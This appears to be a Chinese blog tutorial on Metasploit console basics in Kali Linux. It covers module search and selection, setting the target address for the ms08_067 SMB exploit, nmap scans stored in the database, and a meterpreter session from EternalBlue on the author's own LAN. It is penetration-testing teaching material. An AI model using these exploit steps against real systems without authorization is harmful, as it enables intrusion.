因为Kali Linux内预先配置好了Metasploit,所以就不用配置环境变量等等。

终端输入:Msfconsole

图片

这个时候就进入到了MSF的控制台,其中TAB键可以自动补全命令等等。

MSF在控制台里可以执行这些命令:

图片

show命令详解

Metasploit框架中包涵数百个模块,没有人能用脑子把它们的名字全部记下来。在MSF终端中运行show命令会把所有的模块显示出来,也可以指定模块的类型来缩小搜索范围。

show 命令有这些:

这些命令会显示Metasploit框架中所有可用的渗透攻击模块。在MSF终端中,你可以针对渗透测试中发现的安全漏洞来实施相应的渗透攻击。

图片

1
show auxiliary

这个命令会显示所有的辅助模块以及他们的用途。在Metasploit中,辅助模块的用途非常广泛,它们可以是扫描器、拒绝服务攻击工具、Fuzz测试器,以及其他类型的工具。

当你选择了一个模块,并输入msf > show options后,会列出这个模块所需的各种参数。如果当你没有选择任何模块,那么输入这个命令会显示所有的全局参数。

1
show options

图片

show missing是查看哪些参数是需要配置的

1
show missing

图片

可以看到RHOST需要设置,但是我们没设置就是空的!

search命令详解

Metasploit提供了search命令。它可以在msf终端中执行。用户可以直接根据关键词,进行搜索。例如,search smb 搜索smb相关的模块。用户也可以指定关键词的类型。Metasploit将关键词分为app、author、bid、cve、edb、name、osvdb、platform、ref、type十种类型。这样,用户就可以通过指定不同类型的关键词,达到精确搜索。例如,search name:smb platform:windows 就可以搜索Windows平台的smb相关的模块。

比如我们想要用ms10-046相关的模块就可以使用search命令:(类似于find命令)

1
search ms10-146

图片

其中search相关使用可以输入:search -h

图片

假如我们要搜索cve里包含2018的,就可以这样搜索:

1
search cve:2018

图片

这样就可以快速搜索到我们想要的模块,不然搜索出来的都是一大堆眼花缭乱的。

假如我们要搜索exploit(攻击模块)类型的模块:

1
search type:exploit

图片

use命令详解

如果找到了自己要用的攻击模块/辅助模块,就可以用use来调用该模块

假如我们要用:exploit/windows/smb/ms08_067_netapi 这个模块

1
use exploit/windows/smb/ms08_067_netapi 

图片

这个时候就进入到了exploit/windows/smb/ms08_067_netapi这个模块里。

进入到模块里就可使用info查看当前模块的基本信息:

1
info

图片
图片

set命令详解

如果选择好了相应的漏洞利用模块,就可以使用set命令来设置一些参数,如ip、端口等等

查看当前设置情况:

1
shop options

图片

这个时候RHOST(攻击目标IP)是空的,我们就要设置一下:(攻击目标IP:1.1.1.1)

1
set RHOST 1.1.1.1

图片

这个时候再show options就可以看到RHOST已经设置为了1.1.1.1

图片

unset命令详解

如果你刚set设置了参数,你想取消掉刚刚的设置,那么就可以使用unset

1
unset RHOST

图片

setg命令详解

setg这个命令是全局设置的意思,假如你想把所有的模块的RHOST设置为192.168.1.1,那么就可以使用setg

1
setg RHOST 192.168.1.1

图片
图片

unsetg和刚刚的unset是一样!

check命令详解

如果你设置好一切参数后,可以使用check命令来探测目标IP、端口…是否存在ms08_067这个漏洞,只是去验证是否存在这个漏洞,并没有去利用它

其中大部分的exploit攻击模块里,大部分都不能check验证漏洞(要么是利用漏洞,要么是不利用漏洞),一般不用到check,一般直接是去利用漏洞,而不是验证!

1
check

图片

back命令详解

图片

如果想回到MSF更目录下,就可以使用back

1
2
msf exploit(windows/smb/ms08_067_netapi) > back
msf >

图片

db_*相关命令详解

首先进入MSF控制台后,可以输入db_status查看数据库状态(后台数据库有没有连接上)

1
2
msf > db_status 
[*] postgresql selected, no connection

图片

显示:postgresql selected, no connection,说明还没有连接到数据库

这个时候回到kali终端输入命令:msfdb start

1
2
root@liuwx:~# msfdb start
[+] Starting database

这个时候输入命令(查看5432端口是否开放,开放说明postgresql数据库是开启的):netstat -pantu | grep 5432

1
netstat -pantu | grep 5432

输入命令启动postgresql数据库:

1
root@liuwx:~# service postgresql start

图片

查看5432端口是否开放:

1
2
3
4
root@liuwx:~# netstat -pantu | grep 5432

tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 8031/postgres
tcp6 0 0 ::1:5432 :::* LISTEN 8031/postgres

如果还是这样的话:

图片

那么就是初次使用数据库服务时需初始化,以便创建系统默认的数据库及数据库用户

命令如下:

1
2
3
msfdb init(默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)
msf init msf msf_test msf
msfdb reinit

图片

创建了数据库后,就可以连接到数据库了:

1
2
msf > db_status 
[*] postgresql connected to msf

图片

为什么要使用数据库呢?

其实不使用数据库也是可以使用MSF的,只是在信息收集发现那些机器存在漏洞,机器的账号密码没有办法存储下来,所以就需要用到msfdb(postgresql)数据库!

db_*相关命令详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
db_connect         :  数据库连接信息
db_export : 数据库导出
db_nmap : 启动nmap扫描,并把结果保存到数据库中
db_remove : 数据库删除
db_status : 数据库连接状态
db_disconnect : 数据库断开连接
db_import : 导入到数据库
db_rebuild_cache : 把数据缓存到数据库,再次进行search搜索的时候就可以提高效率
db_save : 保存数据库
hosts      : 扫描主机记录
hosts[xx.xx.xx.xx]: 显示特定主机的记录
hosts -u     : 显示是开机状态的主机
hosts -c    : 后面跟上你想要看的列名,多个列之间逗号隔开
hosts -S    : Search缩写, 用于关键字匹配(多字段搜索)
hosts -p    : 端口搜索. 与-S不同的是只能精准匹配端口一项
services     : 显示端口信息 (搜索规则和hosts等同),可以指定范围 例 : services -p 1-200

db_status

查看msfdb数据库(postgresql)是否连接到了MSF

1
2
3
msf > db_status 
[*] postgresql connected to msf
这样就是连接到了MSF数据库

db_rebuild_cache

把数据缓存到数据库,再次进行search搜索的时候就可以提高效率

1
2
msf > db_rebuild_cache 
[*] Purging and rebuilding the module cache in the background...

db_nmap

这个其实就是集成在msf里的nmap里,只不过使用db_nmap扫描结果会保存到msf这个数据库里!

1
2
3
4
5
6
7
8
9
10
msf > db_nmap 192.168.1.1
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-04 12:51 CST
[*] Nmap: Nmap scan report for 192.168.1.1
[*] Nmap: Host is up (0.00070s latency).
[*] Nmap: Not shown: 998 filtered ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 80/tcp open http
[*] Nmap: 1900/tcp open upnp
[*] Nmap: MAC Address: C0:A5:DD:37:87:E8 (Shenzhen Mercury Communication Technologies)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 4.94 seconds

一旦使用db_namp对一个IP扫描并成功扫描后的结果会自动存储到数据库里:

1
2
3
4
5
6
7
8
msf > hosts

Hosts
=====

address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.1 c0:a5:dd:37:87:e8 Unknown device

图片

因为我们扫描的是192.168.1.1路由器,显示不出什么效果,我就扫描我物理机192.168.1.100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf > db_nmap 192.168.1.100
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-04 12:55 CST
[*] Nmap: Nmap scan report for 192.168.1.100
[*] Nmap: Host is up (0.0021s latency).
[*] Nmap: Not shown: 991 closed ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 135/tcp open msrpc
[*] Nmap: 139/tcp open netbios-ssn
[*] Nmap: 443/tcp open https
[*] Nmap: 445/tcp open microsoft-ds
[*] Nmap: 902/tcp open iss-realsecure
[*] Nmap: 912/tcp open apex-mesh
[*] Nmap: 49152/tcp open unknown
[*] Nmap: 49153/tcp open unknown
[*] Nmap: 49154/tcp open unknown
[*] Nmap: MAC Address: F4:B5:20:05:38:8A (Biostar Microtech international)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds

图片

这个时候又多出了一个IP、MAC地址:

1
2
3
4
5
6
7
8
9
msf > hosts

Hosts
=====

address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.1 c0:a5:dd:37:87:e8 Unknown device
192.168.1.100 f4:b5:20:05:38:8a Unknown device

图片

如果我们想要查看192.168.1.100主机的详细信息:

1
hosts 192.168.1.100

图片

因为我的物理机(192.168.1.100)是开启了防火墙,所以操作系统没显示出来!

假如我们要搜索扫描结果的一些关键字:例如搜索带192开头的ip:(这个一般用于搜索操作系统等等)

1
hosts -S(大写) 192

图片

除了主机信息我们刚刚扫描的主机还有一些端口信息,如何显示扫描的端口信息:services

1
services 

图片

其中services可以搭配-S(大S)来使用,假设要搜索端口445

1
services -S 445

图片

db_export

一般我们使用db.,想要吧数据库导出,就可以使用db_export

假如我们想要吧扫描的数据结果导出为1.xml:(具体的可以使用db_export -h来查看帮助文档)

1
db_export -f xml /root/1.xml

图片

db_import

一般我们把扫描的结果导出了,下一次想要加载之前导出的扫描结果,就可使用db_import导入进来

吧之前导出的/root/1.xml导入进来:

1
db_import /root/1.xml

图片

sessions

如果你用MSF拿到一个会话shell,然后你会话运行在后台:

在后台运行

1
msf exploit(windows/smb/ms17_010_eternalblue) > exploit -j

图片
图片

然后你退出的时候,你想查看已经拿到链接的shell就可以使用session

1
2
3
4
5
6
7
8
9
msf exploit(windows/smb/ms17_010_eternalblue) > sessions 

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
7 meterpreter x64/windows NT AUTHORITY\SYSTEM @ LIUWX-PC 192.168.1.106:4444 -> 192.168.1.103:49159 (192.168.1.103)

图片

如果你想使用这个shell的话,就session -i ID

1
session -i 7

图片

这个时候就进入到了这个session

图片

本篇文章记录Metasploit的常用命令使用!